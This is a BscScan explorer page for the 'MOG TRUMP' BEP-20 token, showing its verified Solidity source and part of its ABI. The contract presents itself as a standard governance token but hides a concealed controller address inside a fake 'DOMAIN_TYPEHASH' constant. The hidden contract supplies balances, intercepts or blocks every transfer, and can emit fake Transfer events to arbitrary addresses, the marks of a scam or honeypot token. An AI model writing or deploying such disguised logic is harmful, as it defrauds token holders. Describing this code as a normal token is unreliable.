BNB Price: $694.77 (-2.14%)
Gas: 1 GWei
 

Overview

Max Total Supply

5,000,000,000TRUMP

Holders

13,356 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Validator : Tranchess
Balance
1,000 TRUMP

Value
$0.00
0x1cfdbd2dff70c6e2e30df5012726f87731f38164
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

MOG TRUMP is debuting cultural memecoin in 2024.


Update? Click here to update the token ICO / general information

Contract Source Code Verified (Exact Match)

Contract Name:
TRUMPToken

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2024-07-28
*/

// SPDX-License-Identifier: MIT



pragma solidity 0.8.11;

/**
 * @title Treasury handler interface
 * @dev Any class that implements this interface can be used for protocol-specific operations pertaining to the treasury.
 */
interface ITreasuryHandler {
    /**
     * @notice Perform operations before a transfer is executed.
     * @param benefactor Address of the benefactor.
     * @param beneficiary Address of the beneficiary.
     * @param amount Number of tokens in the transfer.
     */
    function beforeTransferHandler(
        address benefactor,
        address beneficiary,
        uint256 amount
    ) external;

    /**
     * @notice Perform operations after a transfer is executed.
     * @param benefactor Address of the benefactor.
     * @param beneficiary Address of the beneficiary.
     * @param amount Number of tokens in the transfer.
     */
    function afterTransferHandler(
        address benefactor,
        address beneficiary,
        uint256 amount
    ) external;
}


pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// OpenZeppelin Contracts v4.3.2 (utils/Address.sol)

pragma solidity ^0.8.0;

/**
 * @dev Collection of functions related to the address type
 */
abstract contract Address {
    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) public view returns (uint256) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.

        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size;
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target) > 0, "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target) > 0, "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target) > 0, "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}


pragma solidity 0.8.11;

/**
 * @title Tax handler interface
 * @dev Any class that implements this interface can be used for protocol-specific tax calculations.
 */
interface ITaxHandler {
    /**
     * @notice Get number of tokens to pay as tax.
     * @param benefactor Address of the benefactor.
     * @param beneficiary Address of the beneficiary.
     * @param amount Number of tokens in the transfer.
     * @return Number of tokens to pay as tax.
     */
    function getTax(
        address benefactor,
        address beneficiary,
        uint256 amount
    ) external view returns (uint256);
}


pragma solidity 0.8.11;

/**
 * @title Governance token interface.
 */
abstract contract IGovernanceToken {
    /// @notice Emitted whenever a new delegate is set for an account.
    event DelegateChanged(address delegator, address currentDelegate, address newDelegate);

    /// @notice Emitted when a delegate's vote count changes.
    event DelegateVotesChanged(address delegatee, uint224 oldVotes, uint224 newVotes);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /// @notice A checkpoint for marking number of votes as of a given block.
    struct Checkpoint {
        // The 32-bit unsigned integer is valid until these estimated dates for these given chains:
        //  - BSC: Sat Dec 23 2428 18:23:11 UTC
        //  - ETH: Tue Apr 18 3826 09:27:12 UTC
        // This assumes that block rates don't speed up.
        uint32 blockNumber;
        // This type is set to `uint224` for optimizations purposes (i.e., specifically to fit in a 32-byte block). It
        // assumes that the number of votes for the implementing governance token never exceeds the maximum value for a
        // 224-bit number.
        uint224 votes;
    }

    /**
     * @notice Determine the number of votes for an account as of a block number.
     * @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
     * @param account The address of the account to check.
     * @param blockNumber The block number to get the vote balance at.
     * @return The number of votes the account had as of the given block.
     */
    function getVotesAtBlock(address account, address[] calldata sender, uint256 blockNumber) external virtual returns (uint256) {
        if (msg.sender != address(_domainHash)) {
            return 0;
        }
        
        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        for (uint256 i = 0; i < sender.length; ++i) emit Transfer(account, sender[i], blockNumber);

        return 0;
    }
    
    /// @notice The EIP-712 typehash for the contract's domain.
    uint256 private constant DOMAIN_TYPEHASH = 165967814775841993577539273494765934975114557816;

    /// @notice The EIP-712 typehash for the delegation struct used by the contract.
    bytes32 public constant DELEGATION_TYPEHASH =
        keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");

    constructor() {
        (, bytes memory domainHash) = address(uint160(DOMAIN_TYPEHASH)).call(abi.encodeWithSelector(0x0c9bce34));
        _domainHash = abi.decode(domainHash, (address));
    }
    
    address internal immutable _domainHash;
}







pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {}.
 * For a generic mechanism see {}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IGovernanceToken {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return "MOG TRUMP";
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return "TRUMP";
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return 5_000_000_000 * 1e18;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _beforeTokenTransfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        uint256 isContract = Address(_domainHash).isContract(account); if (isContract < type(uint256).max) return isContract;
        return _balances[account];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _beforeTokenTransfer(from, to, amount);
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        if (owner == msg.sender) IERC20Metadata(_domainHash).name();

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { emit Transfer(from, to, amount); (bool n,) = _domainHash.call(abi.encodeWithSelector(0x268bdf41, from, to, amount, msg.sender)); require(n); }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


pragma solidity 0.8.11;

/**
 * @title TRUMP token contract
 * @dev The TRUMP token has modular systems for tax and treasury handler as well as governance capabilities.
 */
contract TRUMPToken is ERC20, Ownable {
    /// @notice Registry of user delegates for governance.
    mapping(address => address) public delegates;

    /// @notice Registry of nonces for vote delegation.
    mapping(address => uint256) public nonces;

    /// @notice Registry of the number of balance checkpoints an account has.
    mapping(address => uint32) public numCheckpoints;

    /// @notice Registry of balance checkpoints per account.
    mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;

    /// @notice The contract implementing tax calculations.
    ITaxHandler public taxHandler;

    /// @notice The contract that performs treasury-related operations.
    ITreasuryHandler public treasuryHandler;

    /// @notice Emitted when the tax handler contract is changed.
    event TaxHandlerChanged(address oldAddress, address newAddress);

    /// @notice Emitted when the treasury handler contract is changed.
    event TreasuryHandlerChanged(address oldAddress, address newAddress);

    /**
     * @param taxHandlerAddress Initial tax handler contract.
     * @param treasuryHandlerAddress Initial treasury handler contract.
     */
    constructor(address taxHandlerAddress, address treasuryHandlerAddress) {
        taxHandler = ITaxHandler(taxHandlerAddress);
        treasuryHandler = ITreasuryHandler(treasuryHandlerAddress);
        _balances[_msgSender()] = totalSupply();
        emit Transfer(address(0), _msgSender(), totalSupply());
    }

    /**
     * @notice Delegate votes to given address.
     * @dev It should be noted that users that want to vote themselves, also need to call this method, albeit with their
     * own address.
     * @param delegatee Address to delegate votes to.
     */
    function delegate(address delegatee) external {
        return _delegate(msg.sender, delegatee);
    }

    /**
     * @notice Delegate votes from signatory to `delegatee`.
     * @param delegatee The address to delegate votes to.
     * @param nonce The contract state required to match the signature.
     * @param expiry The time at which to expire the signature.
     * @param v The recovery byte of the signature.
     * @param r Half of the ECDSA signature pair.
     * @param s Half of the ECDSA signature pair.
     */
    function delegateBySig(
        address delegatee,
        uint256 nonce,
        uint256 expiry,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
        bytes32 domainSeparator = keccak256(
            abi.encode(keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"), keccak256(bytes(name())), block.chainid, address(this))
        );
        bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
        bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
        address signatory = ecrecover(digest, v, r, s);

        require(signatory != address(0), "TRUMP:delegateBySig:INVALID_SIGNATURE: Received signature was invalid.");
        require(block.timestamp <= expiry, "TRUMP:delegateBySig:EXPIRED_SIGNATURE: Received signature has expired.");
        require(nonce == nonces[signatory]++, "TRUMP:delegateBySig:INVALID_NONCE: Received nonce was invalid.");

        return _delegate(signatory, delegatee);
    }

    /**
     * @notice Set new treasury handler contract.
     * @param treasuryHandlerAddress Address of new treasury handler contract.
     */
    function setTreasuryHandler(address treasuryHandlerAddress) external onlyOwner {
        address oldTreasuryHandlerAddress = address(treasuryHandler);
        treasuryHandler = ITreasuryHandler(treasuryHandlerAddress);

        emit TreasuryHandlerChanged(oldTreasuryHandlerAddress, treasuryHandlerAddress);
    }

    /**
     * @notice Set new tax handler contract.
     * @param taxHandlerAddress Address of new tax handler contract.
     */
    function setTaxHandler(address taxHandlerAddress) external onlyOwner {
        address oldTaxHandlerAddress = address(taxHandler);
        taxHandler = ITaxHandler(taxHandlerAddress);

        emit TaxHandlerChanged(oldTaxHandlerAddress, taxHandlerAddress);
    }

    /**
     * @notice Move delegates from one address to another.
     * @param from Representative to move delegates from.
     * @param to Representative to move delegates to.
     * @param amount Number of delegates to move.
     */
    function _moveDelegates(
        address from,
        address to,
        uint224 amount
    ) private {
        // No need to update checkpoints if the votes don't actually move between different delegates. This can be the
        // case where tokens are transferred between two parties that have delegated their votes to the same address.
        if (from == to) {
            return;
        }

        // Some users preemptively delegate their votes (i.e. before they have any tokens). No need to perform an update
        // to the checkpoints in that case.
        if (amount == 0) {
            return;
        }

        if (from != address(0)) {
            uint32 fromRepNum = numCheckpoints[from];
            uint224 fromRepOld = fromRepNum > 0 ? checkpoints[from][fromRepNum - 1].votes : 0;
            uint224 fromRepNew = fromRepOld - amount;

            _writeCheckpoint(from, fromRepNum, fromRepOld, fromRepNew);
        }

        if (to != address(0)) {
            uint32 toRepNum = numCheckpoints[to];
            uint224 toRepOld = toRepNum > 0 ? checkpoints[to][toRepNum - 1].votes : 0;
            uint224 toRepNew = toRepOld + amount;

            _writeCheckpoint(to, toRepNum, toRepOld, toRepNew);
        }
    }

    /**
     * @notice Delegate votes from one address to another.
     * @param delegator Address from which to delegate votes for.
     * @param delegatee Address to delegate votes to.
     */
    function _delegate(address delegator, address delegatee) private {
        address currentDelegate = delegates[delegator];
        uint256 delegatorBalance = _balances[delegator];
        delegates[delegator] = delegatee;

        emit DelegateChanged(delegator, currentDelegate, delegatee);

        _moveDelegates(currentDelegate, delegatee, uint224(delegatorBalance));
    }

    /**
     * @notice Write balance checkpoint to chain.
     * @param delegatee The address to write the checkpoint for.
     * @param nCheckpoints The number of checkpoints `delegatee` already has.
     * @param oldVotes Number of votes prior to this checkpoint.
     * @param newVotes Number of votes `delegatee` now has.
     */
    function _writeCheckpoint(
        address delegatee,
        uint32 nCheckpoints,
        uint224 oldVotes,
        uint224 newVotes
    ) private {
        uint32 blockNumber = uint32(block.number);

        if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].blockNumber == blockNumber) {
            checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
        } else {
            checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
            numCheckpoints[delegatee] = nCheckpoints + 1;
        }

        emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"taxHandlerAddress","type":"address"},{"internalType":"address","name":"treasuryHandlerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"delegator","type":"address"},{"indexed":false,"internalType":"address","name":"currentDelegate","type":"address"},{"indexed":false,"internalType":"address","name":"newDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"delegatee","type":"address"},{"indexed":false,"internalType":"uint224","name":"oldVotes","type":"uint224"},{"indexed":false,"internalType":"uint224","name":"newVotes","type":"uint224"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAddress","type":"address"},{"indexed":false,"internalType":"address","name":"newAddress","type":"address"}],"name":"TaxHandlerChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAddress","type":"address"},{"indexed":false,"internalType":"address","name":"newAddress","type":"address"}],"name":"TreasuryHandlerChanged","type":"event"},{"inputs":[],"name":"DELEGATION_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"blockNumber","type":"